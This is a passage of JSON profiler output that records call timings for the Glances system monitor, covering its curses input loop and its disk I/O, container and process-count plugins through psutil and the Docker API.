[]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100608,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060789700219175, \"l291\": 0.10060789700219175},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100608,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060789700219175, \"l260\": 0.10060789700219175},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100608,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100608,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100535,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053470799903153, \"l1202\": 0.10053470799903153},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100535,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100535,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100365,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036517499975162, \"l291\": 0.10036517499975162},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100365,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036517499975162, \"l260\": 0.10036517499975162},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100365,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100365,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100315,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031548400002066, \"l1202\": 0.10031548400002066},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100315,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100315,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100538,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053756800334668, \"l291\": 0.10053756800334668},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100538,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053756800334668, \"l260\": 0.10053756800334668},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100538,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100538,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100525,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052451899537118, \"l1202\": 0.10052451899537118},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100525,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100525,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100444,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044398700119928, \"l291\": 0.10044398700119928},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100444,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044398700119928, \"l260\": 0.10044398700119928},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100444,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100444,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100399,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039924600278027, \"l1202\": 0.10039924600278027},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100399,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100399,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100530,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053003799839644, \"l291\": 0.10053003799839644},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100530,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053003799839644, \"l260\": 0.10053003799839644},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100530,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100530,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100457,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045655899739359, \"l1202\": 0.10045655899739359},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100457,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100457,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.115847,\"attributes\": {\"cGlancesStats\": 0.11584721300459933, \"l287\": 0.11584721300459933},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.115847,\"attributes\": {\"cGlancesStats\": 0.11584721300459933, \"l575\": 0.11584721300459933},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.115847,\"attributes\": {\"l571\": 0.11584721300459933},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.115847,\"attributes\": {\"cGlancesStats\": 0.11584721300459933, \"l274\": 0.09587933800503379, \"l275\": 0.019967874999565538},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.073840,\"attributes\": {\"cDiskioPlugin\": 0.0038488159989356063, \"l1278\": 0.07384039600583492, \"cContainersPlugin\": 0.006000179004331585, \"cProcesscountPlugin\": 0.06399140100256773},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.073840,\"attributes\": {\"l1295\": 0.07384039600583492},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003849,\"attributes\": {\"cDiskioPlugin\": 0.0038488159989356063, \"l114\": 0.0038488159989356063},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003849,\"attributes\": {\"cDiskioPlugin\": 0.0038488159989356063, \"l1351\": 0.0038488159989356063},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003849,\"attributes\": {\"cDiskioPlugin\": 0.0038488159989356063, \"l148\": 0.0018567500010249205, \"l158\": 0.001992065997910686},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001857,\"attributes\": {\"l2129\": 0.0018567500010249205},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001857,\"attributes\": {\"l1106\": 0.0018567500010249205},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001857,\"attributes\": {\"l1054\": 0.0018567500010249205},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001857,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.001992065997910686, \"l1058\": 0.001992065997910686},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.001992065997910686, \"l1048\": 0.001992065997910686},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001048\",\"time\": 0.001992,\"attributes\": {\"l1049\": 0.001992065997910686},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.006000,\"attributes\": {\"cContainersPlugin\": 0.006000179004331585, \"l252\": 0.006000179004331585},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.006000,\"attributes\": {\"l256\": 0.006000179004331585},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.006000,\"attributes\": {\"l248\": 0.006000179004331585},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.006000,\"attributes\": {\"cDockerExtension\": 0.006000179004331585, \"l260\": 0.006000179004331585},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.006000,\"attributes\": {\"cContainerCollection\": 0.006000179004331585, \"l1009\": 0.006000179004331585},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.006000,\"attributes\": {\"cAPIClient\": 0.006000179004331585, \"l211\": 0.0020053830012329854, \"l212\": 0.0039947960030986},\"children\": [{\"identifier\": \"_url\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000256\",\"time\": 0.002005,\"attributes\": {\"cAPIClient\": 0.0020053830012329854, \"l266\": 0.0020053830012329854},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.003995,\"attributes\": {\"cAPIClient\": 0.0039947960030986, \"l44\": 0.0039947960030986},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.003995,\"attributes\": {\"cAPIClient\": 0.0039947960030986, \"l246\": 0.0039947960030986},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.003995,\"attributes\": {\"cAPIClient\": 0.0039947960030986, \"l602\": 0.0039947960030986},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.003995,\"attributes\": {\"cAPIClient\": 0.0039947960030986, \"l589\": 0.0039947960030986},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.003995,\"attributes\": {\"cAPIClient\": 0.0039947960030986, \"l703\": 0.001996857004996855, \"l724\": 0.001997938998101745},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPAdapter\": 0.001996857004996855, \"l644\": 0.001996857004996855},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.001996857004996855, \"l787\": 0.001996857004996855},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.001996857004996855, \"l493\": 0.001996857004996855},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000424\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnection\": 0.001996857004996855, \"l500\": 0.001996857004996855},\"children\": [{\"identifier\": \"endheaders\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001322\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnection\": 0.001996857004996855, \"l1333\": 0.001996857004996855},\"children\": [{\"identifier\": \"_send_output\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001084\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnection\": 0.001996857004996855, \"l1093\": 0.001996857004996855},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"resolve_redirects\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000159\",\"time\": 0.001998,\"attributes\": {\"cAPIClient\": 0.001997938998101745, \"l176\": 0.001997938998101745},\"children\": [{\"identifier\": \"urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000374\",\"time\": 0.001998,\"attributes\": {\"l395\": 0.001997938998101745},\"children\": [{\"identifier\": \"_urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000399\",\"time\": 0.001998,\"attributes\": {\"l400\": 0.001997938998101745},\"children\": [{\"identifier\": \"_urlsplit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000499\",\"time\": 0.001998,\"attributes\": {\"l512\": 0.001997938998101745},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063991,\"attributes\": {\"cProcesscountPlugin\": 0.06399140100256773, \"l85\": 0.06399140100256773},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063991,\"attributes\": {\"cGlancesProcesses\": 0.06399140100256773, \"l617\": 0.0579887729982147, \"l634\": 0.001999986001465004, \"l659\": 0.0020047409998369403, \"l663\": 0.0019979010030510835},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057989,\"attributes\": {\"cGlancesProcesses\": 0.0579887729982147, \"l478\": 0.04998909999994794, \"l493\": 0.00799967299826676},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049989,\"attributes\": {\"l1541\": 0.001997626997763291, \"l1558\": 0.04599211700406158, \"l1559\": 0.0019993559981230646},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001998,\"attributes\": {\"l1485\": 0.001997626997763291},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001998,\"attributes\": {\"l1526\": 0.001997626997763291},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.035994,\"attributes\": {\"cProcess\": 0.03599414299969794, \"l579\": 0.03199445999780437, \"l576\": 0.001998993000597693, \"l572\": 0.0020006900012958795},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.00399442900379654, \"l687\": 0.001998454004933592, \"l680\": 0.0019959749988629483},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998454004933592, \"l748\": 0.001998454004933592},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998454004933592, \"l1593\": 0.001998454004933592},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998454004933592, \"l1750\": 0.001998454004933592},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001998,\"attributes\": {\"l692\": 0.001998454004933592},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.0019959749988629483, \"l1593\": 0.0019959749988629483},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010419975733384, \"l382\": 0.0020010419975733384},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010419975733384, \"l1138\": 0.0020010419975733384},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997323997784406, \"l812\": 0.001997323997784406},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997323997784406, \"l1593\": 0.001997323997784406},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997323997784406, \"l2268\": 0.001997323997784406},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997280032839626, \"l1079\": 0.0019997280032839626},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997280032839626, \"l1593\": 0.0019997280032839626},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997280032839626, \"l1835\": 0.0019997280032839626},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.002000,\"attributes\": {\"l1\": 0.0019997280032839626},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000845001428388, \"l680\": 0.0020012280001537874, \"l687\": 0.0019996170012746006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012280001537874, \"l1593\": 0.0020012280001537874},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012280001537874, \"l1740\": 0.0020012280001537874},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012280001537874, \"l1593\": 0.0020012280001537874},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012280001537874, \"l382\": 0.0020012280001537874},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012280001537874, \"l1683\": 0.0020012280001537874},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020012280001537874},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020012280001537874},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996170012746006, \"l748\": 0.0019996170012746006},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996170012746006, \"l1593\": 0.0019996170012746006},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996170012746006, \"l1750\": 0.0019996170012746006},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002000,\"attributes\": {\"l692\": 0.0019996170012746006},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006999984616414, \"l382\": 0.0020006999984616414},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006999984616414, \"l1138\": 0.0020006999984616414},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006999984616414, \"l1593\": 0.0020006999984616414},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006999984616414, \"l1880\": 0.0020006999984616414},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998200998059474, \"l680\": 0.001998200998059474},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998200998059474, \"l1593\": 0.001998200998059474},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998200998059474, \"l1740\": 0.001998200998059474},\"children\": [{\"identifier\": \"decode\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000757\",\"time\": 0.001998,\"attributes\": {\"l758\": 0.001998200998059474},\"children\": [{\"identifier\": \"bytes.decode\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999637002882082, \"l812\": 0.001999637002882082},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999637002882082, \"l1593\": 0.001999637002882082},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999637002882082, \"l2269\": 0.001999637002882082},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020052740001119673, \"l687\": 0.0020052740001119673},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020052740001119673, \"l748\": 0.0020052740001119673},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020052740001119673, \"l1593\": 0.0020052740001119673},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020052740001119673, \"l1750\": 0.0020052740001119673},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002005,\"attributes\": {\"l692\": 0.0020052740001119673},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 